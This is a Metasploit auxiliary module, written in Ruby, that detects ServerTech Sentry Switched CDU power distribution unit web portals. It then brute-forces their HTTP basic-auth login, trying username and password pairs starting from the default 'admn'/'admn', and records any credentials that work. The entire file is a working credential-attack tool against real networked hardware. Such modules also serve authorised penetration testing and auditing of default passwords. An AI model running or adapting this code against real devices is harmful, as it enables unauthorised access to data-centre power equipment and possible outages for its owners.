##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Sentry Switched CDU Bruteforce Login Utility',
      'Description'    => %{
        This module scans for ServerTech's Sentry Switched CDU (Cabinet Power
        Distribution Unit) web login portals, and performs login brute force
        to identify valid credentials.
      },
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),
        OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"])
      ], self.class)
  end

  def run_host(ip)
    unless is_app_sentry?
      print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")
      return
    end

    print_status("#{rhost}:#{rport} - Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the app actually isn't Sentry
  #
  def is_app_sentry?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return false
    end

    if (res and res.body.include?("Sentry Switched CDU"))
      vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")
      return true
    else
      return false
    end
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/index.html',
        'method'    => 'GET',
        'authorization' => basic_auth(user,pass)
      })

      if res and !res.get_cookies.empty?
        print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")

        report_hash = {
          :host   => rhost,
          :port   => rport,
          :sname  => 'ServerTech Sentry Switched CDU',
          :user   => user,
          :pass   => pass,
          :active => true,
          :type => 'password'
        }

        report_auth_info(report_hash)
        return :next_user

      else
        vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end